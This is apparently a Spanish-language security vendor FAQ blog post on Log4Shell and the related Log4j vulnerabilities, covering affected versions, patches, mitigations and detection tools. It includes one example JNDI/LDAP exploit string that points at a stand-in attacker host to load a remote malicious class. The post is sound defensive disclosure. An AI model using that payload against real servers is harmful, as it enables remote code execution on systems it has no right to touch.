CVE-2021-44228, CVE-2021-45046, CVE-2021-4104: preguntas frecuentes acerca de Log4Shell y vulnerabilidades asociadas
por Satnam Narang
Página de inicio del Blog / Alertas de exposición cibernética
Una lista de preguntas frecuentes relacionadas con Log4Shell y vulnerabilidades asociadas
Actualización del 18 de diciembre: Apache ha lanzado la versión Log4j 2.17.0 y ha anunciado CVE-2021-45105, una vulnerabilidad de denegación de servicio que puede explotarse en configuraciones no predeterminadas. Este blog se ha actualizado con esta información adicional.
Actualización del 20 de diciembre: Tenable ha publicado auditorías de Windows y Linux para detectar si las mitigaciones recomendadas se han implementado correctamente en sistemas donde no se pueden aplicar parches. A continuación, encontrará más información.
Actualización del 4 de enero: Apache ha lanzado Log4j 2.17.1, 2.12.4 y 2.3.2 para abordar una nueva vulnerabilidad, CVE-2021-44832. Para obtener más información, consulte esta publicación en Tenable Community.
Antecedentes
Después del descubrimiento de la vulnerabilidad de Apache Log4j conocida como Log4Shell el 9 de diciembre, el Equipo de respuesta de seguridad elaboró la siguiente publicación de blog para responder a algunas de las preguntas más frecuentes sobre Log4Shell y las vulnerabilidades recientemente reveladas en Log4j.
Preguntas frecuentes
¿Qué es Log4j?
Log4j se emplea ampliamente en la biblioteca de registros Java, incluida en Apache Logging Services. Se utiliza para registrar mensajes de una aplicación o servicio, a menudo con fines de depuración.
¿Qué es CVE-2021-44228?
CVE-2021-44228 es una vulnerabilidad de ejecución de código remoto (RCE) en Apache Log4j 2.0 a 2.14.1. Ha sido apodada Log4Shell por investigadores de seguridad.
¿Cómo puede explotarse CVE-2021-44228?
Un atacante remoto no autenticado podría explotar esta falla enviando una solicitud especialmente diseñada a un servidor que ejecute una versión vulnerable de log4j. Esto se puede lograr enviando una cadena de explotación a un campo de texto de un sitio web o incluyendo la cadena de explotación como parte de los encabezados HTTP destinados a un servidor vulnerable. Si el servidor vulnerable utiliza log4j para registrar solicitudes, el exploit solicitará una carga útil maliciosa de un servidor controlado por el atacante a través de la interfaz de directorios y nombres de Java (JNDI) a través de diversos servicios, como el protocolo ligero de acceso a directorios (LDAP).
Un exploit de ejemplo sería algo como esto:
${jndi:ldap://attackersite.com/exploit.class}
¿Qué sucede si se explota la vulnerabilidad?
La biblioteca log4j vulnerable solicitaría y ejecutaría una carga útil maliciosa desde el servidor controlado por el atacante.
¿Se ha observado algún ataque en la realidad hasta ahora?
Los atacantes ya han comenzado a utilizar Log4Shell de diversas maneras, entre las que se incluyen:
- Software de minería de criptomonedas (criptomineros)
- Botnets de denegación de servicio distribuido (DDoS)
- Ransomware
Hay informes de que tanto los grupos de estado nación como los intermediadores de acceso inicial ya han comenzado a aprovechar la falla, por lo que es probable que los grupos que emplean amenazas persistentes avanzadas (APT) y quienes emplean ransomware, aprovechen la falla en un futuro muy próximo.
¿Por qué Log4Shell es tan importante?
Log4j es una biblioteca ampliamente utilizada en diversos productos y servicios para fines de registro, lo que genera una superficie de ataque grande. La explotación de Log4Shell es sencilla, con código de prueba de concepto en GitHub fácilmente disponible. Por último, debido a que muchas organizaciones no conocen el predominio de esta biblioteca en los productos y servicios que utilizan, es probable que esto tenga efectos a largo plazo.
¿Log4Shell fue abordado en Log4j 2.15.0?
No, Apache lanzó Log4j 2.16.0 para abordar una reparación incompleta para Log4Shell. Apache ha asignado una nueva CVE para esta reparación incompleta: CVE-2021-45046.
¿Qué es CVE-2021-45046?
CVE-2021-45046 se reportó originalmente como una vulnerabilidad de denegación de servicio en Apache Log4j 2,0 a 2.15.0 y desde entonces se ha actualizado a una RCE. En configuraciones no predeterminadas específicas en las que se utiliza una búsqueda de contexto (por ej.: $${ctx:loginID}), un atacante que cree una búsqueda JNDI utilizando datos de entrada maliciosos podría provocar una condición de DoS o lograr una RCE en un servidor vulnerable mediante Log4j 2.
¿La mitigación para Log4Shell aplica a CVE-2021-45046?
No. Según Apache, la mitigación anterior para CVE-2021-44228, que establece formatMsgNoLookups en true, es una mitigación insuficiente. Esa orientación no pudo tener en cuenta otras rutas de código en las que se podían realizar búsquedas de mensajes. Debido a esto, Apache ahora recomienda actualizar a una versión segura de Log4j, comenzando con 2.16.0 y 2.12.2 (para Java 7). Si esto no es posible, Apache recomienda eliminar la ruta de clases de JndiLookup.
¿Qué hace realmente la versión de Log4j 2.16.0?
Con base en las notas de la versión, Apache ha elegido endurecer Log4j eliminando las búsquedas de mensajes y desactivando JNDI de forma predeterminada.
Mi empresa utiliza Java 7 y no podemos actualiza a Log4j 2.16.0. ¿Qué hacemos?
Apache lanzó Log4j 2.12.2 para abordar la CVE-2021-45046 para Java 7. Si no es posible aplicar parches de inmediato, Apache recomienda eliminar la clase JndiLookup de la ruta de clases. En la documentación de Apache se puede encontrar orientación sobre cómo eliminar esta ruta de clases.
¿Qué es CVE-2021-45105?
CVE-2021-45105 es una vulnerabilidad de denegación de servicio (DoS) recientemente lanzada en Apache Log4j. La vulnerabilidad se puede explotarse en configuraciones no predeterminadas. Un atacante puede enviar una solicitud especialmente diseñada que contenga una búsqueda recursiva que pueda provocar una condición de DoS. Para abordar la vulnerabilidad, Apache ha lanzado la versión Log4j 2.17.0. Además, Apache ofrece opciones de mitigación para aquellos que no pueden actualizar inmediatamente. Recomendamos revisar la página de asesoría de seguridad de Apache frecuentemente, ya que es posible que se sigan realizando actualizaciones sobre las mitigaciones recomendadas a medida que evolucione la situación.
¿Log4j 1.x es vulnerable?
Está surgiendo mucha información acerca de Log4Shell. En el momento en que se publicó este blog, Apache dijo que Log4j 1.2 es vulnerable se manera similar a cuando Log4j se configura para usar JMSAppender, que no forma parte de la configuración predeterminada, pero no es específicamente vulnerable a CVE-2021-44228. A esta vulnerabilidad en Log4j 1,2 se le ha asignado CVE-2021-4104.
¿Hay algún parche disponible para Log4j 1.2?
No, la rama Log4j 1.x ha llegado al estado de fin de vida útil (EOL) y, por lo tanto, no recibe actualizaciones de seguridad. Se pide a los usuarios que actualicen a Log4j 2.12.2 (para Java 7) o 2.16.0 o superior.
¿Cómo puedo abordar CVE-2021-4104?
Hay algunas opciones de mitigación que se pueden utilizar para evitar la explotación de CVE-2021-4104.
- No usar JMSAppender en la configuración de Log4j.
- Remover el archivo de clase JMSAppender (org/apache/log4j/net/JMSAppender.class).
- Limitar el acceso del usuario de SO para prevenir que un atacante pueda modificar la configuración de Log4j.
¿De dónde provienen todas estas vulnerabilidades?
Esto es lo que supimos a partir del 18 de diciembre:
- Se han asignado cuatro CVE para las vulnerabilidades que afectan a Log4j.
| CVE | Tipo de vulnerabilidad | Versiones de Log4j afectadas | Config. no predeterminada |
|---|---|---|---|
| CVE-2021-44228 | RCE | 2.0 a 2.14.1 | No |
| CVE-2021-45046 | Denegación de servicio (DoS) y RCE | 2.0 a 2.15.0 | Sí |
| CVE-2021-4104 | RCE | 1.2* | Sí |
| CVE-2021-45105 | Denegación de servicio (DoS) | 2.0-beta9 a 2.16.0 | Sí |
- Solo CVE-2021-44228 se puede explotar de manera inmediata cuando se incluyen las versiones de Log4j 2.0 a 2.14.1 como una biblioteca en aplicaciones y servicios.
- CVE-2021-45046, CVE-2021-4104 y CVE-2021-45105 solo están presentes en determinadas configuraciones no predeterminadas.
- A CVE-2021-4104 no se le aplicará el parche, ya que la rama Log4j 1.x ha llegado al final de su vida útil.
¿Cuáles son las versiones fijas de Log4j que abordan estas vulnerabilidades?
| Versión de Log4j | Versión de Java | Disponibilidad de versión |
|---|---|---|
| 2.17.0 | Java 8 | Sí |
| 2.16.0 | Java 8 | Sí |
| 2.12.2 | Java 7 | Sí |
| 1.2 | - | No (EOL) |
¿Cuál es la probabilidad de explotación de estas vulnerabilidades?
En la siguiente tabla se resume la explotabilidad y si ya se estaba explotando o no una vulnerabilidad.
| CVE | Probabilidad de explotación | Ya explotada |
|---|---|---|
| CVE-2021-44228 | Alta | Sí |
| CVE-2021-45046 | Baja | No |
| CVE-2021-4104 | Baja | No |
| CVE-2021-45105 | Baja | No |
¿Tenable puede ser susceptible a cualquiera de las vulnerabilidades de Log4j?
El CISO de Tenable, Bob Huber, emitió una declaración que se puede consultar aquí.
¿Cuáles son las formas en que yo y mi organización podemos identificar estas vulnerabilidades en Log4j?
Tenable ha lanzado diversos plug-ins, plantillas de escaneo y tableros de control (Tenable.io, Tenable.sc) para sus productos.
- Para obtener información actualizada sobre los plug-ins que se han lanzado, consulte esta publicación en Tenable Community.
- Para obtener información actualizada sobre las plantillas de escaneo que se han lanzado, consulte esta publicación en Tenable Community.
Los clientes que no puedan aplicar inmediatamente parches a estas vulnerabilidades, pueden utilizar las auditorías de CVE-2021-44228/CVE-2021-45046 para detectar si se han aplicado correctamente las mitigaciones de soluciones alternativas en sus sistemas para Log4j. Puede encontrar una descripción más detallada de estas auditorías aquí.
¿Qué es CVE-2021-44832?
CVE-2021-44832 es una nueva vulnerabilidad detectada en Log4j a la que Apache le colocó parches. La explotación de esta falla es menos probable debido a los requisitos previos necesarios para su explotación. Para obtener más información sobre esta vulnerabilidad, consulte esta publicación en Tenable Community.
Obtenga más información
- Página de Tenable de recursos dedicados a Log4Shell.
- Blog de Tenable acerca de CVE-2021-44228 (Log4Shell).
- Recursos y Preguntas frecuentes de Tenable Community acerca de Log4Shell.
Únase al Equipo de respuesta de seguridad de Tenable en Tenable Community.
Obtenga más información sobre Tenable, la primera plataforma de Cyber Exposure para el control integral de la superficie de ataque moderna.
Obtenga una prueba gratuita por 30 días de Tenable.io Vulnerability Management.
Artículos relacionados
Cybersecurity Snapshot: U.S. Gov’t Unpacks AI Threat to Banks, as NCSC Urges OT Teams to Protect Cloud SCADA Systems
March 29, 2024Check out new guidance for banks on combating AI-boosted fraud. Plus, how to cut cyber risk when migrating SCADA systems to the cloud. Meanwhile, why CISA is fed up with SQLi flaws. And best practices to prevent and respond to DDoS attacks. And much more!
Recent NVD Delays Won’t Affect Tenable Vulnerability Management Customers Thanks To Our Diverse Scoring Sources
March 19, 2024NIST has announced delays in the CVE enrichment process of its National Vulnerability Database (NVD), but the situation doesn’t impact Tenable VM customers because our vulnerability scoring is based on multiple sources.
CVE-2023-48788: Critical Fortinet FortiClientEMS SQL Injection Vulnerability
March 14, 2024Fortinet warns of a critical SQL Injection vulnerability that could allow an unauthenticated attacker to execute arbitrary code on vulnerable FortiClientEMS software.
Cybersecurity Snapshot: U.S. Gov’t Unpacks AI Threat to Banks, as NCSC Urges OT Teams to Protect Cloud SCADA Systems
March 29, 2024Check out new guidance for banks on combating AI-boosted fraud. Plus, how to cut cyber risk when migrating SCADA systems to the cloud. Meanwhile, why CISA is fed up with SQLi flaws. And best practices to prevent and respond to DDoS attacks. And much more!
Enhancing Transportation Cybersecurity and Fleet Management for the DoD
March 25, 2024Few things can halt operations across the Department of Defense like a critical failure of logistics and transportation. From automated asset inventory to malicious-activity detections through baselining, learn how Tenable OT Security can protect these critical functions within the DoD and work towards the federal government’s zero trust mandate in OT environments.
Cybersecurity Snapshot: NSA Picks Top Cloud Security Practices, while CNCF Looks at How Cloud Native Can Facilitate AI Adoption
March 22, 2024Check out the NSA’s 10 key best practices for securing cloud environments. Plus, learn how cloud native computing could help streamline your AI deployments. Meanwhile, don’t miss the latest about cyberthreats against water treatment plants and critical infrastructure in general. And much more!
- Vulnerability Management